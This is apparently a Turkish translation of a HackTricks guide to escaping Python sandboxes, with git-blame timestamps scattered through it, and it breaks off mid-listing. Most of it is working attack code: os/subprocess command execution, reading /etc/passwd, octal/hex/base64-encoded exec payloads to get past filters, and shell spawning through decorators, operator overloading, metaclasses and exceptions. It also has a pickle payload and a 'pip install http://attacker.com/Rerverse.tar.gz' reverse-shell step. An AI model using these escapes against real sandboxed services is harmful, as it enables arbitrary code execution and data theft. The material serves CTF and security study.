2024-03-09 13:19:34 +00:00
# Python kum havuzları nı atlatma
2022-04-28 16:01:33 +00:00
< details >
2024-03-09 13:19:34 +00:00
< summary > < strong > AWS hackleme konusunda sı fı rdan kahramana kadar öğrenin< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > ile!< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
HackTricks'i desteklemenin diğer yolları :
2023-12-30 20:49:23 +00:00
2024-03-09 13:19:34 +00:00
* **Şirketinizi HackTricks'te reklamı nı görmek istiyorsanı z** veya **HackTricks'i PDF olarak indirmek istiyorsanı z** [**ABONELİK PLANLARI**]'na göz atı n (https://github.com/sponsors/carlospolop)!
2024-02-10 18:14:16 +00:00
* [**Resmi PEASS & HackTricks ürünlerini** ](https://peass.creator-spring.com ) edinin
2024-03-09 13:19:34 +00:00
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
* **Hacking hilelerinizi paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-03-09 13:19:34 +00:00
Bu, python kum havuzları nı atlatmak ve keyfi komutları yürütmek için bazı hilelerdir.
2023-09-02 23:48:41 +00:00
2024-03-09 13:19:34 +00:00
## Komut Yürütme Kütüphaneleri
2023-09-02 23:48:41 +00:00
2024-03-09 13:19:34 +00:00
Bilmeniz gereken ilk şey, zaten içe aktarı lmı ş bir kütüphane ile doğrudan kod yürütebilir misiniz veya bu kütüphanelerden herhangi birini içe aktarabilir misiniz:
2020-07-15 15:43:14 +00:00
```python
os.system("ls")
os.popen("ls").read()
2024-02-10 18:14:16 +00:00
commands.getstatusoutput("ls")
2020-07-15 15:43:14 +00:00
commands.getoutput("ls")
commands.getstatus("file/path")
subprocess.call("ls", shell=True)
subprocess.Popen("ls", shell=True)
pty.spawn("ls")
pty.spawn("/bin/bash")
2021-02-03 23:03:54 +00:00
platform.os.system("ls")
2021-10-06 00:19:16 +00:00
pdb.os.system("ls")
2020-07-15 15:43:14 +00:00
2021-06-24 23:53:47 +00:00
#Import functions to execute commands
importlib.import_module("os").system("ls")
importlib.__import__("os").system("ls")
imp.load_source("os","/usr/lib/python3.8/os.py").system("ls")
imp.os.system("ls")
imp.sys.modules["os"].system("ls")
sys.modules["os"].system("ls")
__import__("os").system("ls")
import os
from os import *
2020-07-15 15:43:14 +00:00
#Other interesting functions
open("/etc/passwd").read()
open('/var/www/html/input', 'w').write('123')
2021-06-24 23:53:47 +00:00
#In Python2.7
execfile('/usr/lib/python2.7/os.py')
system('ls')
2020-07-15 15:43:14 +00:00
```
2024-03-09 13:19:34 +00:00
Hatı rlayı n ki _**open**_ ve _**read**_ fonksiyonları , python kum havuzu içindeki dosyaları okumak ve kum havuzunu atlatmak için **bazı kodlar yazmak** için kullanı şlı olabilir.
2020-07-15 15:43:14 +00:00
2021-06-24 23:53:47 +00:00
{% hint style="danger" %}
2024-03-09 13:19:34 +00:00
**Python2 input()** fonksiyonu programı n çökmeden önce python kodunu çalı ştı rması na izin verir.
2021-06-24 23:53:47 +00:00
{% endhint %}
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
Python, **kütüphaneleri önceki dizinden yüklemeye çalı şı r** (aşağı daki komut, python'ı n modülleri nereden yüklediğini yazdı racaktı r): `python3 -c 'import sys; print(sys.path)'`
2020-07-15 15:43:14 +00:00
2021-10-18 11:21:18 +00:00
![](< .. / . . / . . / . gitbook / assets / image ( 552 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
## Pickle kum havuzunu varsayı lan yüklü python paketleriyle atlatma
2021-02-05 00:28:18 +00:00
2024-02-10 18:14:16 +00:00
### Varsayı lan paketler
2021-02-05 00:28:18 +00:00
2024-03-09 13:19:34 +00:00
Burada **önceden yüklenmiş** paketlerin bir listesini bulabilirsiniz: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html ](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html )\
Bir pickle'dan, sistemde yüklü **keyfi kütüphaneleri içe aktarabilirsiniz** .\
2024-02-10 18:14:16 +00:00
Örneğin, aşağı daki pickle, yüklendiğinde pip kütüphanesini içe aktaracak:
2021-02-05 00:28:18 +00:00
```python
#Note that here we are importing the pip library so the pickle is created correctly
2022-09-12 21:12:49 +00:00
#however, the victim doesn't even need to have the library installed to execute it
2021-02-05 00:28:18 +00:00
#the library is going to be loaded automatically
import pickle, os, base64, pip
class P(object):
2024-02-10 18:14:16 +00:00
def __reduce__ (self):
return (pip.main,(["list"],))
2021-02-05 00:28:18 +00:00
print(base64.b64encode(pickle.dumps(P(), protocol=0)))
```
2024-03-09 13:19:34 +00:00
Daha fazla bilgi için pickle'ı n nası l çalı ştı ğı nı kontrol edin: [https://checkoway.net/musings/pickle/ ](https://checkoway.net/musings/pickle/ )
2021-02-05 00:28:18 +00:00
2024-02-10 18:14:16 +00:00
### Pip paketi
2021-02-05 00:36:31 +00:00
2024-03-09 13:19:34 +00:00
**@isHaacK** tarafı ndan paylaşı lan hile
2021-02-05 00:28:18 +00:00
2024-03-09 13:19:34 +00:00
Eğer `pip` veya `pip.main()` erişiminiz varsa, keyfi bir paket yükleyebilir ve ters kabuk almak için şunu çağı rabilirsiniz:
2021-02-05 00:28:18 +00:00
```bash
pip install http://attacker.com/Rerverse.tar.gz
pip.main(["install", "http://attacker.com/Rerverse.tar.gz"])
```
2024-03-09 13:19:34 +00:00
Pozitif kabuk oluşturmak için paketi buradan indirebilirsiniz. Kullanmadan önce **paketin sı kı ştı rması nı açmalı , `setup.py` dosyası nı değiştirmeli ve ters kabuk için IP'nizi girmelisiniz** :
2021-02-05 00:28:18 +00:00
2023-06-06 22:57:49 +00:00
{% file src="../../../.gitbook/assets/reverse.tar.gz" %}
2021-02-05 00:28:18 +00:00
2021-02-05 08:59:17 +00:00
{% hint style="info" %}
2024-03-09 13:19:34 +00:00
Bu paket `Reverse` olarak adlandı rı lmı ştı r. Ancak, ters kabuktan çı ktı ğı nı zda geri kalan kurulumun başarı sı z olması için özel olarak hazı rlandı , böylece sunucuda ayrı ca **herhangi bir ek python paketi bı rakmazsı nı z** .
2021-02-05 08:59:17 +00:00
{% endhint %}
2024-02-10 18:14:16 +00:00
## Python kodunu değerlendirme
2020-07-15 15:43:14 +00:00
2022-07-05 11:06:01 +00:00
{% hint style="warning" %}
2024-03-09 13:19:34 +00:00
exec çoklu satı r dizelerine ve ";" karakterine izin verir, ancak eval etmez (walrus operatörünü kontrol edin)
2022-07-05 11:06:01 +00:00
{% endhint %}
2024-03-09 13:19:34 +00:00
Belirli karakterler yasaklanmı şsa, kı sı tlamayı **atlatmak** için **hex/octal/B64** temsilini kullanabilirsiniz:
2020-07-15 15:43:14 +00:00
```python
exec("print('RCE'); __import__ ('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '< stdin > ', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '< stdin > ', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '< stdin > ', 'exec'))
```
```python
#Octal
exec("\137\137\151\155\160\157\162\164\137\137\50\47\157\163\47\51\56\163\171\163\164\145\155\50\47\154\163\47\51")
#Hex
2023-04-14 11:17:09 +00:00
exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x79\x73\x74\x65\x6d\x28\x27\x6c\x73\x27\x29")
2020-07-15 15:43:14 +00:00
#Base64
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
2024-02-10 18:14:16 +00:00
### Python kodunu değerlendirmeye izin veren diğer kütüphaneler
2023-01-22 23:51:23 +00:00
```python
#Pandas
import pandas as pd
df = pd.read_csv("currency-rates.csv")
df.query('@__builtins__.__import__("os").system("ls")')
df.query("@pd.io.common.os.popen('ls').read()")
df.query("@pd.read_pickle('http://0.0.0.0:6334/output.exploit')")
# The previous options work but others you might try give the error:
# Only named functions are supported
# Like:
df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']('print(1)')")
```
2024-03-09 13:19:34 +00:00
## Operatörler ve kı sa hileler
2022-07-05 11:06:01 +00:00
```python
2022-09-12 21:12:49 +00:00
# walrus operator allows generating variable inside a list
2022-07-05 11:06:01 +00:00
## everything will be executed in order
## From https://ur4ndom.dev/posts/2020-06-29-0ctf-quals-pyaucalc/
[a:=21,a*2]
[y:=().__class__.__base__.__subclasses__()[84]().load_module('builtins'),y.__import__('signal').alarm(0), y.exec("import\x20os,sys\nclass\x20X:\n\tdef\x20__del__(self):os.system('/bin/sh')\n\nsys.modules['pwnd']=X()\nsys.exit()", {"__builtins__":y.__dict__})]
## This is very useful for code injected inside "eval" as it doesn't support multiple lines or ";"
```
2024-03-09 13:19:34 +00:00
## Kod korumaları nı aşma (UTF-7)
2022-07-05 11:06:01 +00:00
2024-03-09 13:19:34 +00:00
[**Bu yazı da** ](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy ) UFT-7, açı k bir kum havuzu içinde keyfi Python kodunu yüklemek ve yürütmek için kullanı lmı ştı r:
2023-01-13 17:40:30 +00:00
```python
assert b"+AAo-".decode("utf_7") == "\n"
payload = """
# -*- coding: utf_7 -*-
def f(x):
2024-02-10 18:14:16 +00:00
return x
#+AAo-print(open("/flag.txt").read())
2023-01-13 17:40:30 +00:00
""".lstrip()
```
2024-03-09 13:19:34 +00:00
Ayrı ca, diğer kodlamaları kullanarak da bunu atlayabilirsiniz, örn. `raw_unicode_escape` ve `unicode_escape` .
2023-01-13 17:40:30 +00:00
2024-03-09 13:19:34 +00:00
## Çağrı yapmadan Python yürütme
2022-07-03 20:38:21 +00:00
2024-03-09 13:19:34 +00:00
Eğer **çağrı yapmanı za izin vermeyen** bir python hapishanesindeyseniz, yine de **keyfi fonksiyonlar, kod** ve **komutlar** yürütmek için bazı yollar vardı r.
2022-07-03 20:38:21 +00:00
2024-03-09 13:19:34 +00:00
### [Dekoratörler](https://docs.python.org/3/glossary.html#term-decorator) ile Uzaktan Kod Yürütme (RCE)
2022-07-03 20:38:21 +00:00
```python
2022-07-05 10:47:46 +00:00
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
@exec
@input
class X:
2024-02-10 18:14:16 +00:00
pass
2022-07-05 10:47:46 +00:00
# The previous code is equivalent to:
class X:
2024-02-10 18:14:16 +00:00
pass
2022-07-05 10:47:46 +00:00
X = input(X)
X = exec(X)
2022-09-12 21:12:49 +00:00
# So just send your python code when prompted and it will be executed
2022-07-05 10:47:46 +00:00
# Another approach without calling input:
2022-07-03 20:38:21 +00:00
@eval
@'__import__("os").system("sh")'.format
class _:pass
```
2024-03-09 13:19:34 +00:00
### RCE nesneler oluşturma ve aşı rı yükleme
2022-07-03 20:38:21 +00:00
2024-03-09 13:19:34 +00:00
Eğer bir **sı nı f bildirebilir** ve o sı nı fı n bir **nesnesini oluşturabilirseniz** , **farklı yöntemleri yazabilir/yeniden yazabilirsiniz** ve bunlar **doğrudan çağrı lmadan tetiklenebilir** .
2022-07-05 10:47:46 +00:00
2024-02-10 18:14:16 +00:00
#### Özel sı nı flarla RCE
2022-07-02 18:05:33 +00:00
2024-03-09 13:19:34 +00:00
Bazı **sı nı f yöntemlerini** değiştirebilirsiniz (_mevcut sı nı f yöntemlerini üzerine yazarak veya yeni bir sı nı f oluşturarak_), böylece bunlar **doğrudan çağrı lmadan tetiklendiğinde** **keyfi kodları yürütebilirsiniz** .
2022-07-02 18:05:33 +00:00
```python
2022-09-12 21:12:49 +00:00
# This class has 3 different ways to trigger RCE without directly calling any function
2022-07-05 10:47:46 +00:00
class RCE:
2024-02-10 18:14:16 +00:00
def __init__ (self):
self += "print('Hello from __init__ + __iadd__ ')"
__iadd__ = exec #Triggered when object is created
def __del__ (self):
self -= "print('Hello from __del__ + __isub__ ')"
__isub__ = exec #Triggered when object is created
__getitem__ = exec #Trigerred with obj[< argument > ]
__add__ = exec #Triggered with obj + < argument >
2022-07-05 10:47:46 +00:00
2022-07-05 11:06:01 +00:00
# These lines abuse directly the previous class to get RCE
2022-07-05 10:49:47 +00:00
rce = RCE() #Later we will see how to create objects without calling the constructor
2022-07-05 10:47:46 +00:00
rce["print('Hello from __getitem__ ')"]
rce + "print('Hello from __add__ ')"
2022-07-05 10:49:47 +00:00
del rce
2022-07-05 10:47:46 +00:00
2022-07-05 11:06:01 +00:00
# These lines will get RCE when the program is over (exit)
sys.modules["pwnd"] = RCE()
exit()
# Other functions to overwrite
2022-07-05 10:47:46 +00:00
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k < = 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k ** = 'import os; os.system("sh")')
__ilshift__ (k< < = 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
```
2024-03-09 13:19:34 +00:00
#### [Metaclass](https://docs.python.org/3/reference/datamodel.html#metaclasses) kullanarak nesneler oluşturma
2022-07-05 10:47:46 +00:00
2024-03-09 13:19:34 +00:00
Metaclass'ları n bize izin verdiği temel şey, hedef sı nı fı n metaclass olarak kullanı larak yeni bir sı nı f oluşturarak, **kurucuyu doğrudan çağı rmadan bir sı nı f örneği oluşturmaktı r** .
2022-07-05 10:47:46 +00:00
```python
# Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed
2022-09-12 21:12:49 +00:00
# This will define the members of the "subclass"
2022-07-05 10:47:46 +00:00
class Metaclass(type):
2024-02-10 18:14:16 +00:00
__getitem__ = exec # So Sub[string] will execute exec(string)
2022-07-05 10:47:46 +00:00
# Note: Metaclass.__class__ == type
2024-02-10 18:14:16 +00:00
2022-07-05 10:47:46 +00:00
class Sub(metaclass=Metaclass): # That's how we make Sub.__class__ == Metaclass
2024-02-10 18:14:16 +00:00
pass # Nothing special to do
2022-07-05 10:47:46 +00:00
Sub['import os; os.system("sh")']
## You can also use the tricks from the previous section to get RCE with this object
```
2024-03-09 13:19:34 +00:00
#### İstisnalarla nesneler oluşturma
2022-07-05 10:47:46 +00:00
2024-03-09 13:19:34 +00:00
Bir **istisna tetiklendiğinde** , **Exception** 'dan bir nesne **oluşturulur** ve doğrudan yapı cı yı çağı rmak zorunda kalmazsı nı z ([**@\_nag0mez**](https://mobile.twitter.com/\_nag0mez)’ den bir hile):
2022-07-05 10:47:46 +00:00
```python
class RCE(Exception):
2024-02-10 18:14:16 +00:00
def __init__ (self):
self += 'import os; os.system("sh")'
__iadd__ = exec #Triggered when object is created
2022-07-05 10:47:46 +00:00
raise RCE #Generate RCE object
2022-07-02 18:05:33 +00:00
2022-09-12 21:12:49 +00:00
# RCE with __add__ overloading and try/except + raise generated object
2022-07-05 10:47:46 +00:00
class Klecko(Exception):
2024-02-10 18:14:16 +00:00
__add__ = exec
2022-07-05 10:47:46 +00:00
2022-07-02 18:05:33 +00:00
try:
2024-02-10 18:14:16 +00:00
raise Klecko
2022-07-02 18:05:33 +00:00
except Klecko as k:
2024-02-10 18:14:16 +00:00
k + 'import os; os.system("sh")' #RCE abusing __add__
2022-07-05 10:47:46 +00:00
## You can also use the tricks from the previous section to get RCE with this object
```
2024-02-10 18:14:16 +00:00
### Daha Fazla Uzaktan Kod Çalı ştı rma (RCE)
2022-07-05 10:47:46 +00:00
```python
# From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/
# If sys is imported, you can sys.excepthook and trigger it by triggering an error
class X:
2024-02-10 18:14:16 +00:00
def __init__ (self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
2022-07-05 10:47:46 +00:00
sys.excepthook = X
1/0 #Trigger it
# From https://github.com/google/google-ctf/blob/master/2022/sandbox-treebox/healthcheck/solution.py
2024-02-10 18:14:16 +00:00
# The interpreter will try to import an apt-specific module to potentially
2022-07-05 10:47:46 +00:00
# report an error in ubuntu-provided modules.
2022-09-12 21:12:49 +00:00
# Therefore the __import__ functions are overwritten with our RCE
2022-07-05 10:47:46 +00:00
class X():
2024-02-10 18:14:16 +00:00
def __init__ (self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
2022-07-05 10:47:46 +00:00
__builtins__.__import__ = X
{}[1337]
2022-07-02 18:05:33 +00:00
```
2024-03-09 13:19:34 +00:00
### builtins yardı mı yla dosya okuma ve lisans
2022-07-03 20:38:21 +00:00
```python
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
a = __builtins__ .help
a.__class__.__enter__ = __builtins__ .__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
2024-02-10 18:14:16 +00:00
pass
2022-07-03 20:38:21 +00:00
```
2024-03-09 13:19:34 +00:00
## Dahili Fonksiyonlar
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
* [**Python2'nin dahili fonksiyonları ** ](https://docs.python.org/2/library/functions.html )
* [**Python3'ün dahili fonksiyonları ** ](https://docs.python.org/3/library/functions.html )
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
Eğer ** `__builtins__` ** nesnesine erişebilirseniz kütüphaneleri içe aktarabilirsiniz (unutmayı n ki burada ayrı ca son bölümde gösterilen diğer string temsillerini de kullanabilirsiniz):
2020-07-15 15:43:14 +00:00
```python
2021-10-06 00:19:16 +00:00
__builtins__.__import__("os").system("ls")
2020-07-15 15:43:14 +00:00
__builtins__.__dict__['__import__']("os").system("ls")
```
2024-03-09 13:19:34 +00:00
### Dahili Fonksiyonlar
2020-07-15 15:43:14 +00:00
2024-03-09 13:19:34 +00:00
`__builtins__` 'e sahip olmadı ğı nı zda, **hiçbir şeyi içe aktaramayacak** ve hatta dosya okuyup yazamayacaksı nı z çünkü **tüm global fonksiyonlar** (örneğin `open` , `import` , `print` ...) **yüklenmemiştir** .\
Ancak, **varsayı lan olarak python birçok modülü belleğe yükler** . Bu modüller zararsı z görünebilir, ancak bazı ları içlerinde **tehlikeli** işlevsellikler de **içe aktarabilir** ve hatta **keyfi kod yürütme** elde etmek için erişilebilir olabilir.
2021-06-24 23:53:47 +00:00
2024-03-09 13:19:34 +00:00
Aşağı daki örneklerde, bu "**zararsı z**" modüllerin **içinde yüklü** olan **tehlikeli işlevselliklere** **erişmek** için nası l **kötüye kullanı labileceğini** görebilirsiniz.
2020-07-15 15:43:14 +00:00
**Python2**
```python
#Try to reload __builtins__
reload(__builtins__)
import __builtin__
# Read recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
# Write recovering <type 'file'> in offset 40
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
# Execute recovering __import__ (class 59s is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59]()._module.__builtins__['__import__']('os').system('ls')
# Execute (another method)
().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__("func_globals")['linecache'].__dict__['os'].__dict__['system']('ls')
# Execute recovering eval symbol (class 59 is <class 'warnings.catch_warnings'>)
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]["eval"]("__import__('os').system('ls')")
# Or you could obtain the builtins from a defined function
get_flag.__globals__['__builtins__']['__import__']("os").system("ls")
```
2022-07-02 18:05:33 +00:00
#### Python3
2020-07-15 15:43:14 +00:00
```python
2021-10-04 11:09:20 +00:00
# Obtain builtins from a globally defined function
2022-05-01 12:41:36 +00:00
# https://docs.python.org/3/library/functions.html
2023-11-05 18:13:54 +00:00
help.__call__.__builtins__ # or __globals__
license.__call__.__builtins__ # or __globals__
credits.__call__.__builtins__ # or __globals__
2021-10-04 11:09:20 +00:00
print.__self__
dir.__self__
globals.__self__
2021-10-06 00:19:16 +00:00
len.__self__
2023-11-05 18:13:54 +00:00
__build_class__.__self__
2021-01-18 08:31:03 +00:00
2021-10-04 11:09:20 +00:00
# Obtain the builtins from a defined function
get_flag.__globals__['__builtins__']
2021-06-24 23:53:47 +00:00
2022-09-12 21:12:49 +00:00
# Get builtins from loaded classes
2021-10-06 00:19:16 +00:00
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"]
2021-01-18 08:31:03 +00:00
```
2024-03-09 13:19:34 +00:00
[**Aşağı da daha büyük bir fonksiyon** ](./#recursive-search-of-builtins-globals ) bulunmaktadı r ve bu fonksiyon sayesinde **builtins** 'i bulabileceğiniz onlarca/**yüzlerce yer** bulunmaktadı r.
2021-01-18 08:31:03 +00:00
2024-02-10 18:14:16 +00:00
#### Python2 ve Python3
2021-01-18 08:31:03 +00:00
```python
2022-09-12 21:12:49 +00:00
# Recover __builtins__ and make everything easier
2021-10-06 00:19:16 +00:00
__builtins__= [x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.__builtins__
2021-01-18 08:31:03 +00:00
__builtins__["__import__"]('os').system('ls')
2020-07-15 15:43:14 +00:00
```
2024-02-10 18:14:16 +00:00
### Dahili yükler
2021-10-04 11:09:20 +00:00
```python
# Possible payloads once you have found the builtins
2022-11-05 10:56:30 +00:00
__builtins__["open"]("/etc/passwd").read()
__builtins__["__import__"]("os").system("ls")
2022-09-12 21:12:49 +00:00
# There are lots of other payloads that can be abused to execute commands
2021-10-06 00:19:16 +00:00
# See them below
2021-10-04 11:09:20 +00:00
```
2024-03-09 13:19:34 +00:00
## Globals ve locals
2021-10-04 11:09:20 +00:00
2024-02-10 18:14:16 +00:00
**`globals`** ve ** `locals` ** kontrol etmek, erişebileceğiniz şeyleri bilmek için iyi bir yoldur.
2021-06-25 13:52:40 +00:00
```python
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': < class ' _frozen_importlib . BuiltinImporter ' > , '__spec__': None, '__annotations__': {}, '__builtins__': < module ' builtins ' ( built-in ) > , 'attr': < module ' attr ' from ' / usr / local / lib / python3 . 9 / site-packages / attr . py ' > , 'a': < class ' importlib . abc . Finder ' > , 'b': < class ' importlib . abc . MetaPathFinder ' > , 'c': < class ' str ' > , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', < class ' DeprecationWarning ' > , 1): True}, 'z': < class ' str ' > }
>>> locals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': < class ' _frozen_importlib . BuiltinImporter ' > , '__spec__': None, '__annotations__': {}, '__builtins__': < module ' builtins ' ( built-in ) > , 'attr': < module ' attr ' from ' / usr / local / lib / python3 . 9 / site-packages / attr . py ' > , 'a': < class ' importlib . abc . Finder ' > , 'b': < class ' importlib . abc . MetaPathFinder ' > , 'c': < class ' str ' > , '__warningregistry__': {'version': 0, ('MetaPathFinder.find_module() is deprecated since Python 3.4 in favor of MetaPathFinder.find_spec() (available since 3.4)', < class ' DeprecationWarning ' > , 1): True}, 'z': < class ' str ' > }
2021-10-06 00:19:16 +00:00
# Obtain globals from a defined function
get_flag.__globals__
2021-10-06 09:50:35 +00:00
# Obtain globals from an object of a class
class_obj.__init__.__globals__
2021-10-06 00:19:16 +00:00
# Obtaining globals directly from loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x) ]
[< class ' function ' > ]
# Obtaining globals from __init__ of loaded classes
[ x for x in ''.__class__.__base__.__subclasses__() if "__globals__" in dir(x.__init__) ]
[< class ' _frozen_importlib . _ModuleLock ' > , < class ' _frozen_importlib . _DummyModuleLock ' > , < class ' _frozen_importlib . _ModuleLockManager ' > , < class ' _frozen_importlib . ModuleSpec ' > , < class ' _frozen_importlib_external . FileLoader ' > , < class ' _frozen_importlib_external . _NamespacePath ' > , < class ' _frozen_importlib_external . _NamespaceLoader ' > , < class ' _frozen_importlib_external . FileFinder ' > , < class ' zipimport . zipimporter ' > , < class ' zipimport . _ZipImportResourceReader ' > , < class ' codecs . IncrementalEncoder ' > , < class ' codecs . IncrementalDecoder ' > , < class ' codecs . StreamReaderWriter ' > , < class ' codecs . StreamRecoder ' > , < class ' os . _wrap_close ' > , < class ' _sitebuiltins . Quitter ' > , < class ' _sitebuiltins . _Printer ' > , < class ' types . DynamicClassAttribute ' > , < class ' types . _GeneratorWrapper ' > , < class ' warnings . WarningMessage ' > , < class ' warnings . catch_warnings ' > , < class ' reprlib . Repr ' > , < class ' functools . partialmethod ' > , < class ' functools . singledispatchmethod ' > , < class ' functools . cached_property ' > , < class ' contextlib . _GeneratorContextManagerBase ' > , < class ' contextlib . _BaseExitStack ' > , < class ' sre_parse . State ' > , < class ' sre_parse . SubPattern ' > , < class ' sre_parse . Tokenizer ' > , < class ' re . Scanner ' > , < class ' rlcompleter . Completer ' > , < class ' dis . Bytecode ' > , < class ' string . Template ' > , < class ' cmd . Cmd ' > , < class ' tokenize . Untokenizer ' > , < class ' inspect . BlockFinder ' > , < class ' inspect . Parameter ' > , < class ' inspect . BoundArguments ' > , < class ' inspect . Signature ' > , < class ' bdb . Bdb ' > , < class ' bdb . Breakpoint ' > , < class ' traceback . FrameSummary ' > , < class ' traceback . TracebackException ' > , < class ' __future__ . _Feature ' > , < class ' codeop . Compile ' > , < class ' codeop . CommandCompiler ' > , < class ' code . InteractiveInterpreter ' > , < class ' pprint . _safe_key ' > , < class ' pprint . PrettyPrinter ' > , < class ' _weakrefset . _IterationGuard ' > , < class ' _weakrefset . WeakSet ' > , < class ' threading . _RLock ' > , < class ' threading . Condition ' > , < class ' threading . Semaphore ' > , < class ' threading . Event ' > , < class ' threading . Barrier ' > , < class ' threading . Thread ' > , < class ' subprocess . CompletedProcess ' > , < class ' subprocess . Popen ' > ]
2022-05-01 12:41:36 +00:00
# Without the use of the dir() function
2021-10-06 00:19:16 +00:00
[ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)]
[< class ' _frozen_importlib . _ModuleLock ' > , < class ' _frozen_importlib . _DummyModuleLock ' > , < class ' _frozen_importlib . _ModuleLockManager ' > , < class ' _frozen_importlib . ModuleSpec ' > , < class ' _frozen_importlib_external . FileLoader ' > , < class ' _frozen_importlib_external . _NamespacePath ' > , < class ' _frozen_importlib_external . _NamespaceLoader ' > , < class ' _frozen_importlib_external . FileFinder ' > , < class ' zipimport . zipimporter ' > , < class ' zipimport . _ZipImportResourceReader ' > , < class ' codecs . IncrementalEncoder ' > , < class ' codecs . IncrementalDecoder ' > , < class ' codecs . StreamReaderWriter ' > , < class ' codecs . StreamRecoder ' > , < class ' os . _wrap_close ' > , < class ' _sitebuiltins . Quitter ' > , < class ' _sitebuiltins . _Printer ' > , < class ' types . DynamicClassAttribute ' > , < class ' types . _GeneratorWrapper ' > , < class ' warnings . WarningMessage ' > , < class ' warnings . catch_warnings ' > , < class ' reprlib . Repr ' > , < class ' functools . partialmethod ' > , < class ' functools . singledispatchmethod ' > , < class ' functools . cached_property ' > , < class ' contextlib . _GeneratorContextManagerBase ' > , < class ' contextlib . _BaseExitStack ' > , < class ' sre_parse . State ' > , < class ' sre_parse . SubPattern ' > , < class ' sre_parse . Tokenizer ' > , < class ' re . Scanner ' > , < class ' rlcompleter . Completer ' > , < class ' dis . Bytecode ' > , < class ' string . Template ' > , < class ' cmd . Cmd ' > , < class ' tokenize . Untokenizer ' > , < class ' inspect . BlockFinder ' > , < class ' inspect . Parameter ' > , < class ' inspect . BoundArguments ' > , < class ' inspect . Signature ' > , < class ' bdb . Bdb ' > , < class ' bdb . Breakpoint ' > , < class ' traceback . FrameSummary ' > , < class ' traceback . TracebackException ' > , < class ' __future__ . _Feature ' > , < class ' codeop . Compile ' > , < class ' codeop . CommandCompiler ' > , < class ' code . InteractiveInterpreter ' > , < class ' pprint . _safe_key ' > , < class ' pprint . PrettyPrinter ' > , < class ' _weakrefset . _IterationGuard ' > , 